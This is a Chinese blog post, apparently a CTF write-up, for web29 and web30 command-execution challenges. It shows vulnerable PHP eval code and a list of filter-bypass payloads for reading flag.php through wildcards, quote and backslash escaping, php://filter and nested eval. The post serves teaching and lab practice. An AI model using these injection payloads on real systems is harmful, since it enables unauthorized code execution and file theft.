0
点赞
收藏
分享

微信扫一扫

web入门 命令执行

小布_cvg 2022-03-14 阅读 76

文章目录

参考文章:命令执行绕过小技巧、命令执行漏洞进阶

web29

 <?php
 
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

输入c变量,把c中的flag过滤掉,然后返回c变量

严格来说这个应该是代码执行

先试试phpinfo能不能正常执行
在这里插入图片描述
注意最后面的分号

下面来看一下目录里面有啥东西
在这里插入图片描述

在index.php同目录下还有个flag.php

思路:用shell命令,将flag.php 转换成txt,再访问txt文件

但是flag是被过滤掉的,这里使用通配符? /?c=system('cp fla?.php 123.txt');

之后访问/123.txt目录,即可看到flag
在这里插入图片描述

其他思路:

payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`;
payload4:c=echo `nl fl\ag.php`;//转义字符绕过
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
payload6:c=eval($_GET[1]);&1=system('nl flag.php');
payload7:c=awk '{printf $0}' flag.php||

web30

 <?php
 
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 
举报

相关推荐

0 条评论